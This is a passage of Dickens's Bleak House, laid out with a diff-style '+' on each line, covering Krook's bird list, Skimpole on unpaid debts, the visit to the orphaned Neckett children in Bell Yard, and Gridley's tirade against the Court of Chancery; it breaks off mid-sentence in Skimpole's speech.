+"Bah, bah! There ain't no danger, gentlefolks," said Mr. Krook,
+looking slowly and sharply from one to another until he had looked at
+all of us; "she'd never offer at the birds when I was here unless I
+told her to it."
+
+"You will excuse my landlord," said the old lady with a dignified
+air. "M, quite M! What do you want, Krook, when I have company?"
+
+"Hi!" said the old man. "You know I am the Chancellor."
+
+"Well?" returned Miss Flite. "What of that?"
+
+"For the Chancellor," said the old man with a chuckle, "not to be
+acquainted with a Jarndyce is queer, ain't it, Miss Flite? Mightn't I
+take the liberty? Your servant, sir. I know Jarndyce and Jarndyce
+a'most as well as you do, sir. I knowed old Squire Tom, sir. I never
+to my knowledge see you afore though, not even in court. Yet, I go
+there a mortal sight of times in the course of the year, taking one
+day with another."
+
+"I never go there," said Mr. Jarndyce (which he never did on any
+consideration). "I would sooner go--somewhere else."
+
+"Would you though?" returned Krook, grinning. "You're bearing hard
+upon my noble and learned brother in your meaning, sir, though
+perhaps it is but nat'ral in a Jarndyce. The burnt child, sir! What,
+you're looking at my lodger's birds, Mr. Jarndyce?" The old man had
+come by little and little into the room until he now touched my
+guardian with his elbow and looked close up into his face with his
+spectacled eyes. "It's one of her strange ways that she'll never tell
+the names of these birds if she can help it, though she named 'em
+all." This was in a whisper. "Shall I run 'em over, Flite?" he asked
+aloud, winking at us and pointing at her as she turned away,
+affecting to sweep the grate.
+
+"If you like," she answered hurriedly.
+
+The old man, looking up at the cages after another look at us, went
+through the list.
+
+"Hope, Joy, Youth, Peace, Rest, Life, Dust, Ashes, Waste, Want, Ruin,
+Despair, Madness, Death, Cunning, Folly, Words, Wigs, Rags,
+Sheepskin, Plunder, Precedent, Jargon, Gammon, and Spinach. That's
+the whole collection," said the old man, "all cooped up together, by
+my noble and learned brother."
+
+"This is a bitter wind!" muttered my guardian.
+
+"When my noble and learned brother gives his judgment, they're to be
+let go free," said Krook, winking at us again. "And then," he added,
+whispering and grinning, "if that ever was to happen--which it
+won't--the birds that have never been caged would kill 'em."
+
+"If ever the wind was in the east," said my guardian, pretending to
+look out of the window for a weathercock, "I think it's there
+to-day!"
+
+We found it very difficult to get away from the house. It was not
+Miss Flite who detained us; she was as reasonable a little creature
+in consulting the convenience of others as there possibly could be.
+It was Mr. Krook. He seemed unable to detach himself from Mr.
+Jarndyce. If he had been linked to him, he could hardly have attended
+him more closely. He proposed to show us his Court of Chancery and
+all the strange medley it contained; during the whole of our
+inspection (prolonged by himself) he kept close to Mr. Jarndyce and
+sometimes detained him under one pretence or other until we had
+passed on, as if he were tormented by an inclination to enter upon
+some secret subject which he could not make up his mind to approach.
+I cannot imagine a countenance and manner more singularly expressive
+of caution and indecision, and a perpetual impulse to do something he
+could not resolve to venture on, than Mr. Krook's was that day. His
+watchfulness of my guardian was incessant. He rarely removed his eyes
+from his face. If he went on beside him, he observed him with the
+slyness of an old white fox. If he went before, he looked back. When
+we stood still, he got opposite to him, and drawing his hand across
+and across his open mouth with a curious expression of a sense of
+power, and turning up his eyes, and lowering his grey eyebrows until
+they appeared to be shut, seemed to scan every lineament of his face.
+
+At last, having been (always attended by the cat) all over the house
+and having seen the whole stock of miscellaneous lumber, which was
+certainly curious, we came into the back part of the shop. Here on
+the head of an empty barrel stood on end were an ink-bottle, some old
+stumps of pens, and some dirty playbills; and against the wall were
+pasted several large printed alphabets in several plain hands.
+
+"What are you doing here?" asked my guardian.
+
+"Trying to learn myself to read and write," said Krook.
+
+"And how do you get on?"
+
+"Slow. Bad," returned the old man impatiently. "It's hard at my time
+of life."
+
+"It would be easier to be taught by some one," said my guardian.
+
+"Aye, but they might teach me wrong!" returned the old man with a
+wonderfully suspicious flash of his eye. "I don't know what I may
+have lost by not being learned afore. I wouldn't like to lose
+anything by being learned wrong now."
+
+"Wrong?" said my guardian with his good-humoured smile. "Who do you
+suppose would teach you wrong?"
+
+"I don't know, Mr. Jarndyce of Bleak House!" replied the old man,
+turning up his spectacles on his forehead and rubbing his hands. "I
+don't suppose as anybody would, but I'd rather trust my own self than
+another!"
+
+These answers and his manner were strange enough to cause my guardian
+to inquire of Mr. Woodcourt, as we all walked across Lincoln's Inn
+together, whether Mr. Krook were really, as his lodger represented
+him, deranged. The young surgeon replied, no, he had seen no reason
+to think so. He was exceedingly distrustful, as ignorance usually
+was, and he was always more or less under the influence of raw gin,
+of which he drank great quantities and of which he and his back-shop,
+as we might have observed, smelt strongly; but he did not think him
+mad as yet.
+
+On our way home, I so conciliated Peepy's affections by buying him a
+windmill and two flour-sacks that he would suffer nobody else to take
+off his hat and gloves and would sit nowhere at dinner but at my
+side. Caddy sat upon the other side of me, next to Ada, to whom we
+imparted the whole history of the engagement as soon as we got back.
+We made much of Caddy, and Peepy too; and Caddy brightened
+exceedingly; and my guardian was as merry as we were; and we were all
+very happy indeed until Caddy went home at night in a hackney-coach,
+with Peepy fast asleep, but holding tight to the windmill.
+
+I have forgotten to mention--at least I have not mentioned--that Mr.
+Woodcourt was the same dark young surgeon whom we had met at Mr.
+Badger's. Or that Mr. Jarndyce invited him to dinner that day. Or
+that he came. Or that when they were all gone and I said to Ada,
+"Now, my darling, let us have a little talk about Richard!" Ada
+laughed and said--
+
+But I don't think it matters what my darling said. She was always
+merry.
+
+
+
+
+CHAPTER XV
+
+Bell Yard
+
+
+While we were in London Mr. Jarndyce was constantly beset by the
+crowd of excitable ladies and gentlemen whose proceedings had so much
+astonished us. Mr. Quale, who presented himself soon after our
+arrival, was in all such excitements. He seemed to project those two
+shining knobs of temples of his into everything that went on and to
+brush his hair farther and farther back, until the very roots were
+almost ready to fly out of his head in inappeasable philanthropy. All
+objects were alike to him, but he was always particularly ready for
+anything in the way of a testimonial to any one. His great power
+seemed to be his power of indiscriminate admiration. He would sit for
+any length of time, with the utmost enjoyment, bathing his temples in
+the light of any order of luminary. Having first seen him perfectly
+swallowed up in admiration of Mrs. Jellyby, I had supposed her to be
+the absorbing object of his devotion. I soon discovered my mistake
+and found him to be train-bearer and organ-blower to a whole
+procession of people.
+
+Mrs. Pardiggle came one day for a subscription to something, and with
+her, Mr. Quale. Whatever Mrs. Pardiggle said, Mr. Quale repeated to
+us; and just as he had drawn Mrs. Jellyby out, he drew Mrs. Pardiggle
+out. Mrs. Pardiggle wrote a letter of introduction to my guardian in
+behalf of her eloquent friend Mr. Gusher. With Mr. Gusher appeared
+Mr. Quale again. Mr. Gusher, being a flabby gentleman with a moist
+surface and eyes so much too small for his moon of a face that they
+seemed to have been originally made for somebody else, was not at
+first sight prepossessing; yet he was scarcely seated before Mr.
+Quale asked Ada and me, not inaudibly, whether he was not a great
+creature--which he certainly was, flabbily speaking, though Mr. Quale
+meant in intellectual beauty--and whether we were not struck by his
+massive configuration of brow. In short, we heard of a great many
+missions of various sorts among this set of people, but nothing
+respecting them was half so clear to us as that it was Mr. Quale's
+mission to be in ecstasies with everybody else's mission and that it
+was the most popular mission of all.
+
+Mr. Jarndyce had fallen into this company in the tenderness of his
+heart and his earnest desire to do all the good in his power; but
+that he felt it to be too often an unsatisfactory company, where
+benevolence took spasmodic forms, where charity was assumed as a
+regular uniform by loud professors and speculators in cheap
+notoriety, vehement in profession, restless and vain in action,
+servile in the last degree of meanness to the great, adulatory of one
+another, and intolerable to those who were anxious quietly to help
+the weak from failing rather than with a great deal of bluster and
+self-laudation to raise them up a little way when they were down, he
+plainly told us. When a testimonial was originated to Mr. Quale by
+Mr. Gusher (who had already got one, originated by Mr. Quale), and
+when Mr. Gusher spoke for an hour and a half on the subject to a
+meeting, including two charity schools of small boys and girls, who
+were specially reminded of the widow's mite, and requested to come
+forward with halfpence and be acceptable sacrifices, I think the wind
+was in the east for three whole weeks.
+
+I mention this because I am coming to Mr. Skimpole again. It seemed
+to me that his off-hand professions of childishness and carelessness
+were a great relief to my guardian, by contrast with such things, and
+were the more readily believed in since to find one perfectly
+undesigning and candid man among many opposites could not fail to
+give him pleasure. I should be sorry to imply that Mr. Skimpole
+divined this and was politic; I really never understood him well
+enough to know. What he was to my guardian, he certainly was to the
+rest of the world.
+
+He had not been very well; and thus, though he lived in London, we
+had seen nothing of him until now. He appeared one morning in his
+usual agreeable way and as full of pleasant spirits as ever.
+
+Well, he said, here he was! He had been bilious, but rich men were
+often bilious, and therefore he had been persuading himself that he
+was a man of property. So he was, in a certain point of view--in his
+expansive intentions. He had been enriching his medical attendant in
+the most lavish manner. He had always doubled, and sometimes
+quadrupled, his fees. He had said to the doctor, "Now, my dear
+doctor, it is quite a delusion on your part to suppose that you
+attend me for nothing. I am overwhelming you with money--in my
+expansive intentions--if you only knew it!" And really (he said) he
+meant it to that degree that he thought it much the same as doing it.
+If he had had those bits of metal or thin paper to which mankind
+attached so much importance to put in the doctor's hand, he would
+have put them in the doctor's hand. Not having them, he substituted
+the will for the deed. Very well! If he really meant it--if his will
+were genuine and real, which it was--it appeared to him that it was
+the same as coin, and cancelled the obligation.
+
+"It may be, partly, because I know nothing of the value of money,"
+said Mr. Skimpole, "but I often feel this. It seems so reasonable! My
+butcher says to me he wants that little bill. It's a part of the
+pleasant unconscious poetry of the man's nature that he always calls
+it a 'little' bill--to make the payment appear easy to both of us. I
+reply to the butcher, 'My good friend, if you knew it, you are paid.
+You haven't had the trouble of coming to ask for the little bill. You
+are paid. I mean it.'"
+
+"But, suppose," said my guardian, laughing, "he had meant the meat in
+the bill, instead of providing it?"
+
+"My dear Jarndyce," he returned, "you surprise me. You take the
+butcher's position. A butcher I once dealt with occupied that very
+ground. Says he, 'Sir, why did you eat spring lamb at eighteen pence
+a pound?' 'Why did I eat spring lamb at eighteen pence a pound, my
+honest friend?' said I, naturally amazed by the question. 'I like
+spring lamb!' This was so far convincing. 'Well, sir,' says he, 'I
+wish I had meant the lamb as you mean the money!' 'My good fellow,'
+said I, 'pray let us reason like intellectual beings. How could that
+be? It was impossible. You HAD got the lamb, and I have NOT got the
+money. You couldn't really mean the lamb without sending it in,
+whereas I can, and do, really mean the money without paying it!' He
+had not a word. There was an end of the subject."
+
+"Did he take no legal proceedings?" inquired my guardian.
+
+"Yes, he took legal proceedings," said Mr. Skimpole. "But in that he
+was influenced by passion, not by reason. Passion reminds me of
+Boythorn. He writes me that you and the ladies have promised him a
+short visit at his bachelor-house in Lincolnshire."
+
+"He is a great favourite with my girls," said Mr. Jarndyce, "and I
+have promised for them."
+
+"Nature forgot to shade him off, I think," observed Mr. Skimpole to
+Ada and me. "A little too boisterous--like the sea. A little too
+vehement--like a bull who has made up his mind to consider every
+colour scarlet. But I grant a sledge-hammering sort of merit in him!"
+
+I should have been surprised if those two could have thought very
+highly of one another, Mr. Boythorn attaching so much importance to
+many things and Mr. Skimpole caring so little for anything. Besides
+which, I had noticed Mr. Boythorn more than once on the point of
+breaking out into some strong opinion when Mr. Skimpole was referred
+to. Of course I merely joined Ada in saying that we had been greatly
+pleased with him.
+
+"He has invited me," said Mr. Skimpole; "and if a child may trust
+himself in such hands--which the present child is encouraged to do,
+with the united tenderness of two angels to guard him--I shall go. He
+proposes to frank me down and back again. I suppose it will cost
+money? Shillings perhaps? Or pounds? Or something of that sort? By
+the by, Coavinses. You remember our friend Coavinses, Miss
+Summerson?"
+
+He asked me as the subject arose in his mind, in his graceful,
+light-hearted manner and without the least embarrassment.
+
+"Oh, yes!" said I.
+
+"Coavinses has been arrested by the Great Bailiff," said Mr.
+Skimpole. "He will never do violence to the sunshine any more."
+
+It quite shocked me to hear it, for I had already recalled with
+anything but a serious association the image of the man sitting on
+the sofa that night wiping his head.
+
+"His successor informed me of it yesterday," said Mr. Skimpole. "His
+successor is in my house now--in possession, I think he calls it. He
+came yesterday, on my blue-eyed daughter's birthday. I put it to him,
+'This is unreasonable and inconvenient. If you had a blue-eyed
+daughter you wouldn't like ME to come, uninvited, on HER birthday?'
+But he stayed."
+
+Mr. Skimpole laughed at the pleasant absurdity and lightly touched
+the piano by which he was seated.
+
+"And he told me," he said, playing little chords where I shall put
+full stops, "The Coavinses had left. Three children. No mother. And
+that Coavinses' profession. Being unpopular. The rising Coavinses.
+Were at a considerable disadvantage."
+
+Mr. Jarndyce got up, rubbing his head, and began to walk about. Mr.
+Skimpole played the melody of one of Ada's favourite songs. Ada and I
+both looked at Mr. Jarndyce, thinking that we knew what was passing
+in his mind.
+
+After walking and stopping, and several times leaving off rubbing his
+head, and beginning again, my guardian put his hand upon the keys and
+stopped Mr. Skimpole's playing. "I don't like this, Skimpole," he
+said thoughtfully.
+
+Mr. Skimpole, who had quite forgotten the subject, looked up
+surprised.
+
+"The man was necessary," pursued my guardian, walking backward and
+forward in the very short space between the piano and the end of the
+room and rubbing his hair up from the back of his head as if a high
+east wind had blown it into that form. "If we make such men necessary
+by our faults and follies, or by our want of worldly knowledge, or by
+our misfortunes, we must not revenge ourselves upon them. There was
+no harm in his trade. He maintained his children. One would like to
+know more about this."
+
+"Oh! Coavinses?" cried Mr. Skimpole, at length perceiving what he
+meant. "Nothing easier. A walk to Coavinses' headquarters, and you
+can know what you will."
+
+Mr. Jarndyce nodded to us, who were only waiting for the signal.
+"Come! We will walk that way, my dears. Why not that way as soon as
+another!" We were quickly ready and went out. Mr. Skimpole went with
+us and quite enjoyed the expedition. It was so new and so refreshing,
+he said, for him to want Coavinses instead of Coavinses wanting him!
+
+He took us, first, to Cursitor Street, Chancery Lane, where there was
+a house with barred windows, which he called Coavinses' Castle. On
+our going into the entry and ringing a bell, a very hideous boy came
+out of a sort of office and looked at us over a spiked wicket.
+
+"Who did you want?" said the boy, fitting two of the spikes into his
+chin.
+
+"There was a follower, or an officer, or something, here," said Mr.
+Jarndyce, "who is dead."
+
+"Yes?" said the boy. "Well?"
+
+"I want to know his name, if you please?"
+
+"Name of Neckett," said the boy.
+
+"And his address?"
+
+"Bell Yard," said the boy. "Chandler's shop, left hand side, name of
+Blinder."
+
+"Was he--I don't know how to shape the question--" murmured my
+guardian, "industrious?"
+
+"Was Neckett?" said the boy. "Yes, wery much so. He was never tired
+of watching. He'd set upon a post at a street corner eight or ten
+hours at a stretch if he undertook to do it."
+
+"He might have done worse," I heard my guardian soliloquize. "He
+might have undertaken to do it and not done it. Thank you. That's all
+I want."
+
+We left the boy, with his head on one side and his arms on the gate,
+fondling and sucking the spikes, and went back to Lincoln's Inn,
+where Mr. Skimpole, who had not cared to remain nearer Coavinses,
+awaited us. Then we all went to Bell Yard, a narrow alley at a very
+short distance. We soon found the chandler's shop. In it was a
+good-natured-looking old woman with a dropsy, or an asthma, or
+perhaps both.
+
+"Neckett's children?" said she in reply to my inquiry. "Yes, Surely,
+miss. Three pair, if you please. Door right opposite the stairs." And
+she handed me the key across the counter.
+
+I glanced at the key and glanced at her, but she took it for granted
+that I knew what to do with it. As it could only be intended for the
+children's door, I came out without asking any more questions and led
+the way up the dark stairs. We went as quietly as we could, but four
+of us made some noise on the aged boards, and when we came to the
+second story we found we had disturbed a man who was standing there
+looking out of his room.
+
+"Is it Gridley that's wanted?" he said, fixing his eyes on me with an
+angry stare.
+
+"No, sir," said I; "I am going higher up."
+
+He looked at Ada, and at Mr. Jarndyce, and at Mr. Skimpole, fixing
+the same angry stare on each in succession as they passed and
+followed me. Mr. Jarndyce gave him good day. "Good day!" he said
+abruptly and fiercely. He was a tall, sallow man with a careworn head
+on which but little hair remained, a deeply lined face, and prominent
+eyes. He had a combative look and a chafing, irritable manner which,
+associated with his figure--still large and powerful, though
+evidently in its decline--rather alarmed me. He had a pen in his
+hand, and in the glimpse I caught of his room in passing, I saw that
+it was covered with a litter of papers.
+
+Leaving him standing there, we went up to the top room. I tapped at
+the door, and a little shrill voice inside said, "We are locked in.
+Mrs. Blinder's got the key!"
+
+I applied the key on hearing this and opened the door. In a poor room
+with a sloping ceiling and containing very little furniture was a
+mite of a boy, some five or six years old, nursing and hushing a
+heavy child of eighteen months. There was no fire, though the weather
+was cold; both children were wrapped in some poor shawls and tippets
+as a substitute. Their clothing was not so warm, however, but that
+their noses looked red and pinched and their small figures shrunken
+as the boy walked up and down nursing and hushing the child with its
+head on his shoulder.
+
+"Who has locked you up here alone?" we naturally asked.
+
+"Charley," said the boy, standing still to gaze at us.
+
+"Is Charley your brother?"
+
+"No. She's my sister, Charlotte. Father called her Charley."
+
+"Are there any more of you besides Charley?"
+
+"Me," said the boy, "and Emma," patting the limp bonnet of the child
+he was nursing. "And Charley."
+
+"Where is Charley now?"
+
+"Out a-washing," said the boy, beginning to walk up and down again
+and taking the nankeen bonnet much too near the bedstead by trying to
+gaze at us at the same time.
+
+We were looking at one another and at these two children when there
+came into the room a very little girl, childish in figure but shrewd
+and older-looking in the face--pretty-faced too--wearing a womanly
+sort of bonnet much too large for her and drying her bare arms on a
+womanly sort of apron. Her fingers were white and wrinkled with
+washing, and the soap-suds were yet smoking which she wiped off her
+arms. But for this, she might have been a child playing at washing
+and imitating a poor working-woman with a quick observation of the
+truth.
+
+She had come running from some place in the neighbourhood and had
+made all the haste she could. Consequently, though she was very
+light, she was out of breath and could not speak at first, as she
+stood panting, and wiping her arms, and looking quietly at us.
+
+"Oh, here's Charley!" said the boy.
+
+The child he was nursing stretched forth its arms and cried out to be
+taken by Charley. The little girl took it, in a womanly sort of
+manner belonging to the apron and the bonnet, and stood looking at us
+over the burden that clung to her most affectionately.
+
+"Is it possible," whispered my guardian as we put a chair for the
+little creature and got her to sit down with her load, the boy
+keeping close to her, holding to her apron, "that this child works
+for the rest? Look at this! For God's sake, look at this!"
+
+It was a thing to look at. The three children close together, and two
+of them relying solely on the third, and the third so young and yet
+with an air of age and steadiness that sat so strangely on the
+childish figure.
+
+"Charley, Charley!" said my guardian. "How old are you?"
+
+"Over thirteen, sir," replied the child.
+
+"Oh! What a great age," said my guardian. "What a great age,
+Charley!"
+
+I cannot describe the tenderness with which he spoke to her, half
+playfully yet all the more compassionately and mournfully.
+
+"And do you live alone here with these babies, Charley?" said my
+guardian.
+
+"Yes, sir," returned the child, looking up into his face with perfect
+confidence, "since father died."
+
+"And how do you live, Charley? Oh! Charley," said my guardian,
+turning his face away for a moment, "how do you live?"
+
+"Since father died, sir, I've gone out to work. I'm out washing
+to-day."
+
+"God help you, Charley!" said my guardian. "You're not tall enough to
+reach the tub!"
+
+"In pattens I am, sir," she said quickly. "I've got a high pair as
+belonged to mother."
+
+"And when did mother die? Poor mother!"
+
+"Mother died just after Emma was born," said the child, glancing at
+the face upon her bosom. "Then father said I was to be as good a
+mother to her as I could. And so I tried. And so I worked at home and
+did cleaning and nursing and washing for a long time before I began
+to go out. And that's how I know how; don't you see, sir?"
+
+"And do you often go out?"
+
+"As often as I can," said Charley, opening her eyes and smiling,
+"because of earning sixpences and shillings!"
+
+"And do you always lock the babies up when you go out?"
+
+"To keep 'em safe, sir, don't you see?" said Charley. "Mrs. Blinder
+comes up now and then, and Mr. Gridley comes up sometimes, and
+perhaps I can run in sometimes, and they can play you know, and Tom
+an't afraid of being locked up, are you, Tom?"
+
+"No-o!" said Tom stoutly.
+
+"When it comes on dark, the lamps are lighted down in the court, and
+they show up here quite bright--almost quite bright. Don't they,
+Tom?"
+
+"Yes, Charley," said Tom, "almost quite bright."
+
+"Then he's as good as gold," said the little creature--Oh, in such a
+motherly, womanly way! "And when Emma's tired, he puts her to bed.
+And when he's tired he goes to bed himself. And when I come home and
+light the candle and has a bit of supper, he sits up again and has it
+with me. Don't you, Tom?"
+
+"Oh, yes, Charley!" said Tom. "That I do!" And either in this glimpse
+of the great pleasure of his life or in gratitude and love for
+Charley, who was all in all to him, he laid his face among the scanty
+folds of her frock and passed from laughing into crying.
+
+It was the first time since our entry that a tear had been shed among
+these children. The little orphan girl had spoken of their father and
+their mother as if all that sorrow were subdued by the necessity of
+taking courage, and by her childish importance in being able to work,
+and by her bustling busy way. But now, when Tom cried, although she
+sat quite tranquil, looking quietly at us, and did not by any
+movement disturb a hair of the head of either of her little charges,
+I saw two silent tears fall down her face.
+
+I stood at the window with Ada, pretending to look at the housetops,
+and the blackened stack of chimneys, and the poor plants, and the
+birds in little cages belonging to the neighbours, when I found that
+Mrs. Blinder, from the shop below, had come in (perhaps it had taken
+her all this time to get upstairs) and was talking to my guardian.
+
+"It's not much to forgive 'em the rent, sir," she said; "who could
+take it from them!"
+
+"Well, well!" said my guardian to us two. "It is enough that the time
+will come when this good woman will find that it WAS much, and that
+forasmuch as she did it unto the least of these--This child," he
+added after a few moments, "could she possibly continue this?"
+
+"Really, sir, I think she might," said Mrs. Blinder, getting her
+heavy breath by painful degrees. "She's as handy as it's possible to
+be. Bless you, sir, the way she tended them two children after the
+mother died was the talk of the yard! And it was a wonder to see her
+with him after he was took ill, it really was! 'Mrs. Blinder,' he
+said to me the very last he spoke--he was lying there--'Mrs.
+Blinder, whatever my calling may have been, I see a angel sitting in
+this room last night along with my child, and I trust her to Our
+Father!'"
+
+"He had no other calling?" said my guardian.
+
+"No, sir," returned Mrs. Blinder, "he was nothing but a follerers.
+When he first came to lodge here, I didn't know what he was, and I
+confess that when I found out I gave him notice. It wasn't liked in
+the yard. It wasn't approved by the other lodgers. It is NOT a
+genteel calling," said Mrs. Blinder, "and most people do object to
+it. Mr. Gridley objected to it very strong, and he is a good lodger,
+though his temper has been hard tried."
+
+"So you gave him notice?" said my guardian.
+
+"So I gave him notice," said Mrs. Blinder. "But really when the time
+came, and I knew no other ill of him, I was in doubts. He was
+punctual and diligent; he did what he had to do, sir," said Mrs.
+Blinder, unconsciously fixing Mr. Skimpole with her eye, "and it's
+something in this world even to do that."
+
+"So you kept him after all?"
+
+"Why, I said that if he could arrange with Mr. Gridley, I could
+arrange it with the other lodgers and should not so much mind its
+being liked or disliked in the yard. Mr. Gridley gave his consent
+gruff--but gave it. He was always gruff with him, but he has been
+kind to the children since. A person is never known till a person is
+proved."
+
+"Have many people been kind to the children?" asked Mr. Jarndyce.
+
+"Upon the whole, not so bad, sir," said Mrs. Blinder; "but certainly
+not so many as would have been if their father's calling had been
+different. Mr. Coavins gave a guinea, and the follerers made up a
+little purse. Some neighbours in the yard that had always joked and
+tapped their shoulders when he went by came forward with a little
+subscription, and--in general--not so bad. Similarly with Charlotte.
+Some people won't employ her because she was a follerer's child; some
+people that do employ her cast it at her; some make a merit of having
+her to work for them, with that and all her draw-backs upon her, and
+perhaps pay her less and put upon her more. But she's patienter than
+others would be, and is clever too, and always willing, up to the
+full mark of her strength and over. So I should say, in general, not
+so bad, sir, but might be better."
+
+Mrs. Blinder sat down to give herself a more favourable opportunity
+of recovering her breath, exhausted anew by so much talking before it
+was fully restored. Mr. Jarndyce was turning to speak to us when his
+attention was attracted by the abrupt entrance into the room of the
+Mr. Gridley who had been mentioned and whom we had seen on our way
+up.
+
+"I don't know what you may be doing here, ladies and gentlemen," he
+said, as if he resented our presence, "but you'll excuse my coming
+in. I don't come in to stare about me. Well, Charley! Well, Tom!
+Well, little one! How is it with us all to-day?"
+
+He bent over the group in a caressing way and clearly was regarded as
+a friend by the children, though his face retained its stern
+character and his manner to us was as rude as it could be. My
+guardian noticed it and respected it.
+
+"No one, surely, would come here to stare about him," he said mildly.
+
+"May be so, sir, may be so," returned the other, taking Tom upon his
+knee and waving him off impatiently. "I don't want to argue with
+ladies and gentlemen. I have had enough of arguing to last one man
+his life."
+
+"You have sufficient reason, I dare say," said Mr. Jarndyce, "for
+being chafed and irritated--"
+
+"There again!" exclaimed the man, becoming violently angry. "I am of
+a quarrelsome temper. I am irascible. I am not polite!"
+
+"Not very, I think."
+
+"Sir," said Gridley, putting down the child and going up to him as if
+he meant to strike him, "do you know anything of Courts of Equity?"
+
+"Perhaps I do, to my sorrow."
+
+"To your sorrow?" said the man, pausing in his wrath, "if so, I beg
+your pardon. I am not polite, I know. I beg your pardon! Sir," with
+renewed violence, "I have been dragged for five and twenty years over
+burning iron, and I have lost the habit of treading upon velvet. Go
+into the Court of Chancery yonder and ask what is one of the standing
+jokes that brighten up their business sometimes, and they will tell
+you that the best joke they have is the man from Shropshire. I," he
+said, beating one hand on the other passionately, "am the man from
+Shropshire."
+
+"I believe I and my family have also had the honour of furnishing
+some entertainment in the same grave place," said my guardian
+composedly. "You may have heard my name--Jarndyce."
+
+"Mr. Jarndyce," said Gridley with a rough sort of salutation, "you
+bear your wrongs more quietly than I can bear mine. More than that, I
+tell you--and I tell this gentleman, and these young ladies, if they
+are friends of yours--that if I took my wrongs in any other way, I
+should be driven mad! It is only by resenting them, and by revenging
+them in my mind, and by angrily demanding the justice I never get,
+that I am able to keep my wits together. It is only that!" he said,
+speaking in a homely, rustic way and with great vehemence. "You may
+tell me that I over-excite myself. I answer that it's in my nature to
+do it, under wrong, and I must do it. There's nothing between doing
+it, and sinking into the smiling state of the poor little mad woman
+that haunts the court. If I was once to sit down under it, I should
+become imbecile."
+
+The passion and heat in which he was, and the manner in which his
+face worked, and the violent gestures with which he accompanied what
+he said, were most painful to see.
+
+"Mr. Jarndyce," he said, "consider my case. As true as there is a
+heaven above us, this is my case. I am one of two brothers. My father
+(a farmer) made a will and left his farm and stock and so forth to my
+mother for her life. After my mother's death, all was to come to me
+except a legacy of three hundred pounds that I was then to pay my
+brother. My mother died. My brother some time afterwards claimed his
+legacy. I and some of my relations said that he had had a part of it
+already in board and lodging and some other things. Now mind! That
+was the question, and nothing else. No one disputed the will; no one
+disputed anything but whether part of that three hundred pounds had
+been already paid or not. To settle that question, my brother filing
+a bill, I was obliged to go into this accursed Chancery; I was forced
+there because the law forced me and would let me go nowhere else.
+Seventeen people were made defendants to that simple suit! It first
+came on after two years. It was then stopped for another two years
+while the master (may his head rot off!) inquired whether I was my
+father's son, about which there was no dispute at all with any mortal
+creature. He then found out that there were not defendants
+enough--remember, there were only seventeen as yet!--but that we must
+have another who had been left out and must begin all over again. The
+costs at that time--before the thing was begun!--were three times the
+legacy. My brother would have given up the legacy, and joyful, to
+escape more costs. My whole estate, left to me in that will of my
+father's, has gone in costs. The suit, still undecided, has fallen
+into rack, and ruin, and despair, with everything else--and here I
+stand, this day! Now, Mr. Jarndyce, in your suit there are thousands
+and thousands involved, where in mine there are hundreds. Is mine
+less hard to bear or is it harder to bear, when my whole living was
+in it and has been thus shamefully sucked away?"
+
+Mr. Jarndyce said that he condoled with him with all his heart and
+that he set up no monopoly himself in being unjustly treated by this
+monstrous system.
+
+"There again!" said Mr. Gridley with no diminution of his rage. "The
+system! I am told on all hands, it's the system. I mustn't look to
+individuals. It's the system. I mustn't go into court and say, 'My
+Lord, I beg to know this from you--is this right or wrong? Have you
+the face to tell me I have received justice and therefore am
+dismissed?' My Lord knows nothing of it. He sits there to administer
+the system. I mustn't go to Mr. Tulkinghorn, the solicitor in
+Lincoln's Inn Fields, and say to him when he makes me furious by
+being so cool and satisfied--as they all do, for I know they gain by
+it while I lose, don't I?--I mustn't say to him, 'I will have
+something out of some one for my ruin, by fair means or foul!' HE is
+not responsible. It's the system. But, if I do no violence to any of
+them, here--I may! I don't know what may happen if I am carried
+beyond myself at last! I will accuse the individual workers of that
+system against me, face to face, before the great eternal bar!"
+
+His passion was fearful. I could not have believed in such rage
+without seeing it.
+
+"I have done!" he said, sitting down and wiping his face. "Mr.
+Jarndyce, I have done! I am violent, I know. I ought to know it. I
+have been in prison for contempt of court. I have been in prison for
+threatening the solicitor. I have been in this trouble, and that
+trouble, and shall be again. I am the man from Shropshire, and I
+sometimes go beyond amusing them, though they have found it amusing,
+too, to see me committed into custody and brought up in custody and
+all that. It would be better for me, they tell me, if I restrained
+myself. I tell them that if I did restrain myself I should become
+imbecile. I was a good-enough-tempered man once, I believe. People in
+my part of the country say they remember me so, but now I must have
+this vent under my sense of injury or nothing could hold my wits
+together. It would be far better for you, Mr. Gridley,' the Lord
+Chancellor told me last week, 'not to waste your time here, and to
+stay, usefully employed, down in Shropshire.' 'My Lord, my Lord, I
+know it would,' said I to him, 'and it would have been far better for
+me never to have heard the name of your high office, but unhappily
+for me, I can't undo the past, and the past drives me here!'
+Besides," he added, breaking fiercely out, "I'll shame them. To the
+last, I'll show myself in that court to its shame. If I knew when I
+was going to die, and could be carried there, and had a voice to
+speak with, I would die there, saying, 'You have brought me here and
+sent me from here many and many a time. Now send me out feet
+foremost!'"
+
+His countenance had, perhaps for years, become so set in its
+contentious expression that it did not soften, even now when he was
+quiet.
+
+"I came to take these babies down to my room for an hour," he said,
+going to them again, "and let them play about. I didn't mean to say
+all this, but it don't much signify. You're not afraid of me, Tom,
+are you?"
+
+"No!" said Tom. "You ain't angry with ME."
+
+"You are right, my child. You're going back, Charley? Aye? Come then,
+little one!" He took the youngest child on his arm, where she was
+willing enough to be carried. "I shouldn't wonder if we found a
+ginger-bread soldier downstairs. Let's go and look for him!"
+
+He made his former rough salutation, which was not deficient in a
+certain respect, to Mr. Jarndyce, and bowing slightly to us, went
+downstairs to his room.
+
+Upon that, Mr. Skimpole began to talk, for the first time since our
+arrival, in his usual gay strain. He said, Well, it was really very
+pleasant to see how things lazily adapted themselves to purposes.
+Here was this Mr. Gridley, a man of a robust will and surprising
+energy--intellectually speaking, a sort of inharmonious
+blacksmith--and he could easily imagine that there Gridley was, years
+ago, wandering about in life for something to expend his superfluous
+combativeness upon--a sort of Young Love among the thorns--when the
+Court of Chancery came in his way and accommodated him with the exact
+thing he wanted. There they were, matched, ever afterwards! Otherwise
+he might have been a great general, blowing up all sorts of towns, or
+he might have been a great politician, dealing in all sorts of
+parliamentary rhetoric; but as it was, he and the Court of Chancery
+had fallen upon each other in the pleasantest way, and nobody was
+much the worse, and Gridley was, so to speak, from that hour provided
+for. Then look at Coavinses! How delightfully poor Coavinses (father
+of these charming children) illustrated the same principle! He, Mr.
+Skimpole, himself, had sometimes repined at the existence of
+Coavinses. He had found Coavinses in his way. He could had dispensed
+with Coavinses. There had been times when, if he had been a sultan,
+and his grand vizier had said one morning, "What does the Commander
+of the Faithful require at the hands of his slave?" he might have
